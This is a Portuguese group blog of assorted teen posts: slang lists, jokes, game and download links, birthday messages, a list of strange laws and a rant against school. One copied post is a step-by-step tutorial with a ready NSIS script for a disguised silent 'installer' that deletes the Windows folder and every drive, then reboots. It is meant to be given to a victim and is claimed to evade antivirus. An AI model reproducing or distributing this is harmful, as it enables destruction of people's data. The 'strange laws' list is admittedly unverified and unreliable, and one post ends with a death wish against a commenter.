20 comer Danz !!!, muito obrigada por perder seu tempo lendo nossos posts inúteis e pensando em um modo ofensivo de nos criticar.Embora seu último comentário me tenha feito pensar sobre a comparação Michael/Madonna, eu simplesmente amo apagar seus comentários.

Ah! Quase esqueci, acho teu nick super criativo, 20= vim te, né? Você que inventou?

Espero que você morra lenta e dolorosamente,
Máh
;*

Pra não dizer que eu não posto nada...

Você joga The Sims? Então provavelmente já ouviu falar no insimenator, uma ferramenta muito útil que permite que você faça praticamente de tudo no jogo.

Beeem, se você não sabe como usá-lo, eu achei um tutorial muito bom no orkut. Não copiei aqui porque não podia, mas o link tá aqui: http://www.orkut.com.br/CommMsgs.aspx?cmm=272717&tid=2576555120008550749&kw=insimenator&na=3&nst=11&nid=272717-2576555120008550749-2576556324746877277

enjoy people ;*

Sou nordestino, e sempre adorei minha terra natal =P

Então aqui estou postando algumas palavras nordestinas:

"Voti" - Deus me livre, aff, que estranho.
"Oxente" - Eita!?
Véia" - Velha.
"Eita Pega" - Putz.
Biribinha - Traque de Massa.
Abilolado - Doido.
Abusado - Bravo.
"Aperrear" - Encher o saco.
"Baitola" - Bicha.
Banda - Pedaço de algo.
"Boyzinha" - Menina nova.
"Bufa" - Pum.
"Cão Chupando Manga" - Pessoa muito feia
"Choromingar" - Reclamar.
"Enxerido" - Pessoa que se mete sem ser chamado o famoso "ganso".
Fechar a Prova - Acertar toda a prova.
"Fuderoso" - O máximo.
"Massa" - Legal.
"Fungar" - Cheirar.
"Gaia" - Chifre.
"Mangar" - Zuar.
Muriçoca - Pernilongo.
"Peba" - Coisa ruim.
Vacilar - Cometer um erro.
"Visse?" - Entendesse?
"Zonar" - Zuar.

Essas são as que eu lembro xD
Quem souber mais palavras por favor comente.
Do seu amiguin, Danz

É muito simples.

Se você for mulher :
. Se você for feia (para isso faça o teste da construção*), comece juntando um dinheirinho, faça algumas plásticas: botóx, silicone, preenchimento dos lábios, etc...
.Após a cicatrização de suas plásticas (se você for bonita não precisará esperar, bom pra ti), gaste dinheiro com maquiagem, roupas tamanho infantil (elas não precisam tampar sua bunda, isso vai ajudar na última etapa), salto alto e chapinha.
.Use tudo que você comprou sem medo de exageros.
.Fisgue um velho rico. Suas futuras plásticas? Ele paga! Seu carro? Ele paga também!Suas roupas de grife? Ele pagaa!!!

Se você for homem:
.trabalhe

*Teste da construção é feito assim, você passa na frente de uma obra. Se nenhum pedreiro ao menos olhar pra ti, a coisa tá feia amiga.

Mais um post inútil criado pela figura feminina desse blog.
;*


.

Falta do que fazer? Vai trabalhaar!
Piada sem graça, eu sei.

Beem, se você não quer trabalhar, tente terminar esse jogo:
http://clickjogos.uol.com.br/Jogos-online/Puzzle/O-Jogo-Mais-Dificil-Do-Mundo/

É o jogo mais difícil do mundo segundo o nome. Você tem um número de vidas ilimitado ne tem que ter muita paciência pra jogar.

Eu com minhas super habilidades ninja consegui chegar ao nível 2 gastando apenas 15 vidas!!Se alguém conseguir chegar pelo menos ao level 3 sem perder nenhuma vida, manda um print ae !

De sua inútil,Máh.
;*

Vou mostrar como fazer um simples programinha devastador, que apaga TUDO do HD. Tanto os arquivos do usuário como as pastas do sistema e os programas. Ele será rodado no Windows, então alguns arquivos de sistema não serão apagados porque estarão em uso. Mas apagando a maioria e alguns estratégicos, já é o suficiente para que o computador nem inicie, a menos que a pessoa formate e reinstale tudo (mas aí ela já teria perdido seus dados).

Apagar arquivos… Sugiro usar o gerador de programas de instalação NSIS (Nullsoft Scriptable Install System). Ele é destinado a desenvolvedores e distribuidores de aplicações, mas é muito versátil. Você cria um “falso” programa de instalação, que na real não instala é nada, apenas apaga coisas. Esse NSIS funciona com um script, você cria um arquivo de texto com as instruções, compila nele, e ele gera o executável baseado nessas instruções. O uso do NSIS é uma boa também porque o executável fica extremamente pequeno, com menos de 50 kb. Mas você poderia usar, é claro, outros instaladores…

Baixe o NSIS em nsis.sourceforge.net e instale-o. Ele é gratuito (e open source). Não vamos nos deter com o script dele, vamos direto ao assunto. Ele possui uma função “Delete”, que apaga arquivos ou pastas. Basta você adicionar os nomes de arquivos ou pastas desejados, e gerar o programa. Esta função deveria ser usada para apagar arquivos de um programa que seria desinstalado, já que o NSIS é um criador de programas de instalação para outros programas. Mas como apaga arquivos que você define, pode ser usada para o mal também, só depende das suas intenções. Em menos de 1 minuto seu vírus estará pronto.

AVISO: SE FOR COPIAR E COLAR, CERTIFIQUE-SE DE QUE AS ASPAS ESTEJAM RETAS. SE APARECEREM ASPAS INCLINADAS, FRESQUINHAS E BONITINHAS, APAGUE-AS, SUBSTITUINDO POR ASPAS DUPLAS RETAS, NORMALMENTE FICA NA PARTE SUPERIOR DA TECLA ABAIXO DA ESC. SE USAR AS ASPAS ENFEITADAS NO ARQUIVO .NSI, O NSIS DARÁ UM ERRO NA COMPILAÇÃO. ESSE ERA O MOTIVO PELO QUAL MUITOS NÃO CONSEGUIAM COMPILAR. VEJA ESTE COMENTÁRIO QUE POSTEI.

Com o NSIS instalado, abra um editor de textos puro, como o Bloco de notas, e digite (ou copie e cole) o texto em vermelho:

!define PRODUCT_NAME “APAGADOR_XXX”
!define PRODUCT_VERSION “1.0″
!define PRODUCT_PUBLISHER “HACKER_XXX”

SetCompressor lzma

Name “${PRODUCT_NAME} ${PRODUCT_VERSION}”
OutFile “MeuVirus.exe”
InstallDir “$TEMP”
Icon “${NSISDIR}\Contrib\Graphics\Icons\modern-install.ico”
SilentInstall silent

Section “Sec001″ SEC01
Delete /REBOOTOK “$WINDIR\*.*”
SectionEnd

Section -Post
Reboot
SectionEnd

Salve com a extensão “.nsi”, e escolha “Todos os arquivos”, no campo “Salvar como tipo”. A extensão “.nsi” é a de projeto do NSIS, você poderia usar outra qualquer e depois abri-lo no compilador do NSIS (”Iniciar > Programas > MakeNSISW (Compiler GUI)”).

DICA: BAIXE AQUI O ARQUIVO .NSI PRONTO, É SÓ COMPILAR!
(Não é o arquivo executável, você pode baixar sossegado(a). É apenas o arquivo de texto pronto. Você pode visualizá-lo no bloco de notas ou abri-no no NSIS, e é bem pequenininho. Ele está configurado para apagar arquivos de todas as unidades, o que conseguir, de forma a limpar pen drives se estiverem plugados na hora da execução. Cuidado, não clique no botão “Test Installer” em um computador com dados importantes.)

Vamos entender esse arquivo… As três primeiras linhas identificam o “programa” que seria instalado, afinal o NSIS é um instalador. Deixe como está, ou escreva qualquer coisa, de preferência não palavras. O item “OutFile” é o executável que será gerado, é o seu vírus que deverá ser distribuído. A linha “SilentInstall silent” gera um instalador oculto, que não mostra nada na tela. Ou seja, quando a vítima executá-lo, ele já começará a apagar tudo sem mostrar nada.

Na seção “Sec01″, você deve adicionar as entradas “Delete” que desejar. Existem outros comandos, é possível, em vez de apagar arquivos, criar entradas no registro, instalar programas que se auto-executam, etc. Não me pergunte como fazer isso.

A linha “Delete /REBOOTOK “$WINDIR\*.*” apaga tudo da pasta do Windows, deixando para apagar na próxima inicialização o que estiver em uso. Copie-a e cole-a abaixo dela, antes do SectionEnd, trocando as pastas ou arquivos que você queira apagar. Por exemplo:

Delete /REBOOTOK “C:\boot.ini”
Delete /REBOOTOK “C:\Meus documentos\*.*”
Delete /REBOOTOK “C:\*.*”
Delete /REBOOTOK “D:\*.*”
Delete /REBOOTOK “E:\*.*”
Delete /REBOOTOK “F:\*.*”
Delete /REBOOTOK “G:\*.*”
Delete /REBOOTOK “C:\Arquivos de programas\*.*”

Adicione o que quiser, arquivos específicos, etc.

A última seção, “Section -Post / Reboot / SectionEnd”, será executada ao concluir o instalador, ou seja, quando ele terminar sua ação. O comando “reboot” reiniciará o computador, que na próxima inicialização nem inicia mais. Se você quiser, pode remover essas três últimas linhas, para deixar o usuário em desespero, vendo que tudo do seu PC foi apagado.

Salve o arquivo. Abra o compilador do NSIS, em “Iniciar > Programas > MakeNSISW (Compiler GUI)”, clique no menu “File > Load script”, localize o arquivo de extensão “.nsi” que você salvou. Ele já compilará, é rapidinho. NÃO CLIQUE NO BOTÃO “TEST INSTALLER”.

O vírus está pronto! E, em condições normais, nenhum anti-vírus o detectaria, a menos que ele fosse parar nas mãos de algum criador de anti-vírus.

Lembrando que o conteúdo é de responsabilidade de quem está fazendo ele, não do blog fonte.

Fonte: http://www.explorando.viamep.com/2006/08/dica-como-criar-um-vrus.html

Durante cada semana eu irei postar alguns bons downloads.
Veja os sugeridos dessa semana:

-KeepTube-
Querendo baixar os vídeos do YouTube mas não sabe como?
Intão esse é o programinha ideal, com menos de 150Kb de tamanho, esse programa faz jûs ao ditado "tamanho não é documento", pois ele além de ter o Browser aonde você baixa diretamente os vídeos do YouTube, ele também baixa os vídeos para o formato .FLV (So dá para reproduzir os vídeos no Real Player, intão sugiro baixa-lo também).

Link:
KeepTube: http://baixaki.ig.com.br/download/KeepTube-Download-YouTube-Flash-Video-FLV-Player.htm

Real Player: http://baixaki.ig.com.br/download/RealPlayer.htm

-Torpedos Online 1.0-
Quer mandar mensagens SMS para os seus amigos, mas nao tem creditos?
Com esse programa você passa mensagens para os celulares do seus amigos de graça!
Quero avisar que as vezes o sistema da sua operadora pode ficar inválido, aguarde um pouco e reenvie a mensagem digitada.

Link: http://baixaki.ig.com.br/download/Torpedos-Online.htm

Aqui estão alguns dos downloads da semana para vocês ^^

Site do download:
http://www.baixaki.com.br/

Eu estive pensando, afinal pra que a gente vai na escola?
Já que menos de 7% do que os professores falam você irá levar para a sua vida, exceto Orientaçao Sexual (O.S) rsrsrsrs.

Aqui irei dar alguns exemplos:

-Português

Nun adianta di nda vc estudar uq as analizes çintaticas, redassaum i tau c vc n sb escrevr sertu, so vc paça nas fehrias uma semana no MSN q vc eskec tdu q sb sobre Gramática, i meo deos m diga quando eu irei usar algo de gramatica alem de sbr falar e escrever ben??? Sb eu vo tah andando di karro ai vo falar assim pra minha maen "-Olha aquela sentensa ta na Voz Passiva Analítica." Sb quando isso vai acontecer?? Nunk!!!

-Matemática

Certo que a gente precisa das noções básicas da matemática, como subtração, soma, divisão e multiplicação, se também não souber você é um retardado =P rsrsrs.
Mas assim, pra que eu quero saber do resultado de E=MC²? ( Uma das mais famosas fómulas matemáticas).
Tipo você passa minutos, ou até horas tentando achar o resultado da conta, aí no final da simplesmente 2 letras, meu, isso dá muita raiva.
Outra coisa, pra que eu irei saber o Perímetro de uma moldura? Vou ser carpinteiro por acaso? Nunca se sabe neh?!rsrsrsrs.

-Geografia

Até antigamente (há uns 15 anos atrás =P) dava para se utilizar mais de 20% da Geografia em nossas vidas ( eu sei, isso espanta) pois antigamente era só saber as capitais mundiais, isso você poderia usar quando fosse viajar para algum lugar.
Mas...agora é sobre economia dos países,(não seria economista) 1°, 2° e 3° mundo (pra qué?? Vou ser uma classe a mais do que economista?) e sobre os malditos FMI, OMC e Fundo Monetário de Paris, OMG! Quando eu usarei isso?
A resposta é simples se você for um financeiro de algum político corrupto você irá usar sim, mas como se não for NUNCA!

-História

Eu gosto muito da minha professora de História (mesmo se as vezes ela se empolga nos discursos), mas pra que eu vo querer saber algo q ja aconteceu?
Um exemplo é A Era Napoleônica, pra que vo querer saber de um nanico francês revolucionário, o cara já virou pó no caxão.Pra quê eu quero saber de História?
Só uma resposta, se você é Recificense ( como eu) e não sabe da história de nossa cidade essa matéria é uma boa, mas se você for uma pessoa de algum dos outros 22 ( não ao certo quantos ao total são, sempre fui ruim em Geografia) você quase nunca irá usar os conhecimentos dessas matérias.

Espero que eu tenha feito vocês pensarem :D
Do seu amigin Danz.

Parabéns ISA!!!!!!!!
Tbm to postando aqui pq a mayara tb postou xD
Parabéns viu? ^^
Nunka vo te eskecer, tb nao vo eskecer essi dia c vc viu o post anterior tb vai inteder =P

Sempre seja a divertida, alegre e sem noção garota que eu conheço. ;D
Nao sei se vc sb mas acho que eu começei a gostar da cultura japonesa por kausa de vc xD

PARABENS!

Antes de começar esse post eu gostaria que você ignorassem os milhões de erros de pontuação no post do Danz, ele tá frustrado...
E também quero dizer que se você quer ver besteiras veja outros posts, esse não é tão besta assim.

Enfim, ao post.

Sabe aquela sua amiga bobona? Aquela que tudo que faz com que você queira se enterrar? Essa é sua melhor amiga. Fala merda, mas você não vive sem.

É daquelas que ao mesmo tempo que você quer matar,você não quer (seus problemas mentais surgem de momentos como esse). Quando a gente tá triste, essa amiga aparece toda alegre e faz com que você se sinta melhor só por estar vendo a ultra, mega felicidade dela.

Amigas como essa são necessárias pra fazer com que você se divirta e se sinta como se fosse criança de novo, elas te fazem sorrir sem motivo algum.

Por isso hoje eu quero dizer muito obrigada e também dizer que amo mesmo essa minha amiga e espero tudo de bom e muitos amores pra ela.
Feliz aniversário Saa!

Você já quiz em algum momento da sua vida voltar a ser uma criança, ou até mesmo um bebê?
Bem, seu desejo irá se realizar...pode demorar, mas irá.

Aos 60 anos seus dentes não serão mais os mesmos, provavelmente você sentirá algo estranho ao comer. Esse algo estranho será seu dente, o processo de regressão terá começado.

Aos 70 anos e sem nenhum dente, seu cabelo cairá e seu rosto ficará murcho.

Aos 80 anos, sem dente,sem cabelo e com o rosto caído, suas preocupações serão direcionadas apenas para o uso do banheiro.

Aos 90 anos você será literalmente um bebezão.Você terá alguém pra cuidar de você, seu rosto estará igual um joelho, você usará fraldas, não terá cabelo nem dentes e reclamará de tudo,só não irá tomar leite.

Após ler esse post pense com cuidado antes de desejar alguma coisa.

Falsas ou verdadeiras?

-França
.Entre as 8 da manhã e as 8 da tarde 70% das músicas tem de ser de artistas franceses.
.É proibido beijar alguém no metrô.
.É proibido batizar um porco com o nome de Napoleão.
.É proibido fotografar políciais e suas viaturas inclusive quando saiam em segundo plano.
-Alemanha
.Uma almofada pode ser considerada como uma arma passiva.
.É proibido andar de máscaras pela rua.
.Em qualquer escritório há de se poder ver pelo menos parte do céu.
-Dinamarca
.Tentar escapar da prisão não é ilegal, no entanto, se for pego terá que cumprir o resto da condenação.
.Ninguém pode pôr em movimento seu veículo se há alguém embaixo dele.
.Os restaurantes não poderão cobrar pela água a não ser que não esteja acompanhada com algo mais, como gelo ou uma fatia de limão.
-Suécia
.A prostituição é ilegal, usar o serviço de prostituição não é.
.É proibido repintar tua casa sem uma licença do governo.
-Suiça
.Se você deixar as chaves dentro do carro com a porta destravada, será multado.
-Noruega
.É proibido a castrar cães ou gatos, assim como a qualquer outra espécie, inclusive homens.
.As bebidas que contenham mais de 4,75% de álcool não podem ser vendidas nas eleições.
-Finlândia
.Os taxistas devem pagar direitos autorais se colocam música em seu carro quando transportam clientes.
-Inglaterra
.A lei autoriza às vendedoras a fazer topless em Liverpool, mas somente em lojas de peixes tropicais.
.É ilegal pendurar roupa de cama na janela.
.É proibido pescar salmão nos domingos.
-Irlanda
.Se você está em Cork, e vê um escocês, ainda é legal mirá-lo com arco e flecha, exceto nos Domingos.
-Canadá
.É ilegal tirar o curativo em público.
.Em Alberta, se você esteve preso e foi liberado, tem direito a pedir um arma carregada e um cavalo para sair da cidade.
.Em Ottawa a lei proibe chupar picolé no domingo atrás do Banco.
.É proibido tentar aprender bruxaria.
-Colômbia, Cali
.A primeira vez que a mulher tiver relações com seu marido, a mãe dela deve estar no quarto para testemunhar o ato.
-Mexico
.É proibido queimar bonecas.
-Bolívia, Santa Cruz
.É ilegal para um homem ter relações com uma mulher e sua filha ao mesmo tempo.
-EUA, Alabama
.É proibido jogar dominó no domingo.
.É ilegal usar bigode postiço que cause risos na igreja.
.Colocar sal nas linhas ferroviárias pode ser castigado com a pena de morte.
.Os homens não podem cuspir diante das mulheres.
.É proibido vender amendoim após o entardecer das quartas-feiras em Lee Country.
-EUA, Nova York
.É proibido passear com um sorvete de casquinha na bolsa nos domingos.
.As mulheres poderão praticar o topless em público desde que não seja com fins lucrativos.
-Greene, Nova York
.É ilegal comer amendoins e andar para atrás pelas ruas quando há um concerto.
-Kentucky
.Cada pessoa deve tomar banho ao menos uma vez ao ano.
.Nenhuma mulher dever aparecer em traje de banho em nenhum aeroporto deste Estado a não ser que seja escoltada por dois policiais ou esteja armada com um cacetete. As disposições deste decreto não serão aplicadas a mulheres que pesem menos de 90 libras (aprox. 40kg.) ou mais de 200 libras (aprox. 90 kg.), nem serão aplicadas a éguas.
-Lexington, Kentucky
.É ilegal carregar sorvetes de casquinha na bolsa.
-Atlanta
.É proibido amarrar uma girafa a um poste de luz.
-Chicago
.É proibido comer num lugar que esteja pegando fogo.
-Columbia, Pensilvânia
.É proibido que um instrutor faça cócegas no aluno de auto escola para chamar sua atenção.
.É proibido estourar balões na rua.
.É proibido cantar no chuveiro.
.Não se pode segurar um peixe por outra parte que não seja a boca.
.É proibido dormir num congelador.
.É proibido caminhar de costas comendo amendoins em frente ao Barnstormers Auditorium.
-Carolina do Norte
.Brigas entre cães e gatos são proibidas por decreto em Barber.
.É proibido usar elefantes para arar os campos de algodão.
.A única posição permitida é o papai-e-mamãe e com as cortinas fechadas.
.Se um homem e uma mulher que não são casados se registram num hotel como casal, segundo as leis do estado, passam oficialmente a estarem casados a partir desse momento.
.É ilegal praticar sexo no pátio da igreja.
.O sexo oral é considerado um crime contra a natureza.
-Corning, Iowa
.É considerado um delito que um homem peça a uma mulher que entre em seu carro.
-Idaho
.É ilegal que um homem presenteie a sua amada uma caixa de bombons que pese menos de 50 libras (aprox. 23 kg).
-Blythe, Califórnia
.Uma pessoa deve possuir ao menos duas vacas para poder usar botas de cowboy em público.
-Denver
.É ilegal emprestar o aspirador de pó ao vizinho.
-Devon, Connecticut
.É ilegal andar para trás depois do pôr do sol.
-Menphis, Tennesee,
.É ilegal que uma mulher dirija um carro a não ser que tenha um homem correndo à frente dela agitando uma bandeira vermelha para avisar aos motoristas e transeuntes que se aproximam.
-Pocataligo, Georgia
.É delito que uma mulher de mas de 200 libras (aprox. 90 kg.) de short curto viaje ou pilote um avião.
-Pocatello, Idaho
.Uma lei que remonta a 1912 decreta que "é proibido levar armas ocultas, a não ser que sejam exibidas".
-Seattle
.É ilegal carregar uma arma oculta que meça mas de seis pés (aprox, 1,8 metros) de comprimento.
.É proibido a entrada de monstros nos limites urbanos.
-Wilbur, Washington
.É ilegal montar num cavalo feio.
-Tulsa, Oklahoma
.É contra a lei abrir uma garrafa de soda sem a supervisão de um engenheiro graduado.
.É ilegal que o dono de um bar permita que alguém finja ter sexo com um búfalo.
.Os cães devem ter uma permissão assinada pelo prefeito para reunir-se em grupos de três ou mais numa propriedade privada
.É ilegal pôr uma pessoa hipnotizada numa vitrine.
-Jonesboro, Georgia
.É ilegal dizer "Oh, Boy".
-Texas
.Quando dois trens chegarem juntos num cruzamento de vias, ambos devem parar completamente, e nenhum deve seguir adiante até que o outro tenha ido.
.Proibido possuir um alicate.
-Kansas City, Missouri
.Os menores de idade não podem comprar pistolas de brinquedo; no entanto podem comprar as reais.
-New Hampshire
.Proibido bater os pés ou mover a cabeça ou de qualquer forma seguir o ritmo da música numa taberna, restaurante ou cafetería.
-Arkansas
.Uma lei diz que o rio Arkansas não pode subir mais que a altura da ponte de Main Street de Little Rock.
-Massachusetts
.Os cães devem ter as patas traseiras amarradas durante o mês de abril.
-Virginia
.A única bebida permitida na praia é água que esteja dentro de uma garrafa de plástico transparente.
-Maryland
.Os preservativos podem ser vendidos em máquinas somente em lugares onde são vendidas bebidas alcoólicas para consumo no local.
-Rhode Island
.É vedada a venda de pasta de dentes e escova de dentes ao mesmo cliente nos domingos.
-Oregon
.É ilegal susurrar besteiras ao amante durante o ato.
.É proibido assobiar embaixo d'água.
.Os animais não podem cruzar nos limites da cidade de Stanfield.
-Ohio
.É ilegal colocar um peixe dentro de uma camisinha.
.Ninguém pode ser preso em 4 de julho e nem no domingo.
.As mulheres não podem usar sapatos de couro que permita aos homens ver as suas roupas íntimas através do reflexo.
.É proibido dar mais de 100 voltas nà cidade.
-Libano
.Os homens podem legalmente ter relações sexuais com animais, sempre que forem fêmeas. Ter relações sexuais com machos pode ser castigado com a morte.
-Indonésia
.A pena para a masturbação na Indonésia é a decapitação.
-China, Hong Kong
.Uma mulher enganada pode legalmente matar seu marido adúltero, mas deve fazê-lo só com suas mãos. Em contrapartida, a mulher adúltera pode ser morta de qualquer maneira por seu marido.
.É ilegal inscrever-se na Universidade, a não ser que você seja inteligente.
-Israel
.É proibido meter o dedo no nariz aos sábados.
.Em Haifa é proibido levar ursos à praia.
-Tailândia
.Se pegam você atirando um chicle no chão recebe uma multa de 600 dólares e se não pode pagar sera preso.
-Camboja
.É proibido o uso de pistolas de água para as celebrações de passagem de ano. não outras datas comemorativas não tem problema.
-Cingapura
.É proibida a venda de chiclete.
.É proibido que homossexuais vivam no país.
.O sexo oral é proibido a não ser que realize-se como entretenimento.
.A pornografia é também proibida.
-Bahrein
.Um médico pode legalmente examinar os genitais femininos, mas está proibido de olhá-los diretamente durante o exame. Só pode fazê-lo mediante o uso de um espelho.
-Guam
.Há homens em Guam cujo único emprego, bem pago diga-se de passagem, é viajar pelo pais para deflorar virgens. A razão é que pelas leis de Guam, é proibido que as virgens se casem.
-Austrália, Victoria
.Somente eletricistas podem trocar lâmpadas.
.É ilegal passar graxa de sapato na cara.
.Os bares são obrigados a dar água e comida a seu cavalo.

Pode não ser verdade, mas vale a pena ler.

Fonte: http://www.pontojogos.com.br/viewpage.php?page_id=19

M E R D A (Nem o Aurélio definiu tão bem)

A palavra mais rica da língua portuguesa é a palavra MERDA.
Esta versátil palavra pode mesmo ser considerada um coringa da língua portuguesa. Vejam os exemplos a seguir:

1) Como indicação geográfica 1:
Onde fica essa MERDA?

2) Como indicação geográfica 2:
Vá a MERDA!

3) Como indicação geográfica 3:
17:00h - vou embora dessa MERDA.
4) Como substantivo qualificativo:
Você é um MERDA!

5) Como auxiliar quantitativo:
Trabalho pra caramba e não ganho MERDA nenhuma!

6) Como indicador de especialização profissional:
Ele só faz MERDA.

7) Como indicativo de MBA:
Ele faz muita MERDA.

8) Como sinônimo de covarde:
Seu MERDA!

9) Como questionamento dirigido:
Fez MERDA, né?

10) Como indicador visual:
Não se enxerga MERDA nenhuma!

11) Como elemento de indicação do caminho a ser percorrido:
Por que você não vai a MERDA?

12) Como especulação de conhecimento e surpresa:
Que MERDA é essa?

13) Como constatação da situação financeira de um indivíduo:
Ele está na MERDA...

14) Como indicador de ressentimento natalino:
Não ganhei MERDA nenhuma de presente!

15) Como indicador de admiração:
Puta MERDA!

16) Como indicador de rejeição:
Puta MERDA!

17) Como indicador de espécie:
Quem esse MERDA pensa que é?

18) Como indicador de continuidade:
Tô na mesma MERDA de sempre.

19) Como indicador de desordem:
Tá tudo uma MERDA!

20) Como constatação científica dos resultados da alquimia:
Tudo o que ele toca vira MERDA!

21) Como resultado aplicativo:
Deu MERDA.

22) Como indicador de performance esportiva:
O Corinthians não está jogando MERDA nenhuma!!!

23) Como constatação negativa:
Que MERDA!
24) Como classificação literária:
Êta textinho de MERDA!!!

25) Como qualificação de governo:
O governo Lula só faz MERDA!

26) Como situação de 'orgulho/metidez':
Ela se acha e não tem MERDA NENHUMA!

27) Como indicativo olfativo:
Tem cheiro de MERDA!

28) Como indicativo de intuição:
Isso tá me cheirando a MERDA!

29) Como comprovação da intuição:
Eu falei que era MERDA!

30) Como indicativo de ocupação:
Se leu até aqui, é sinal que não está fazendo MERDA nenhuma!!!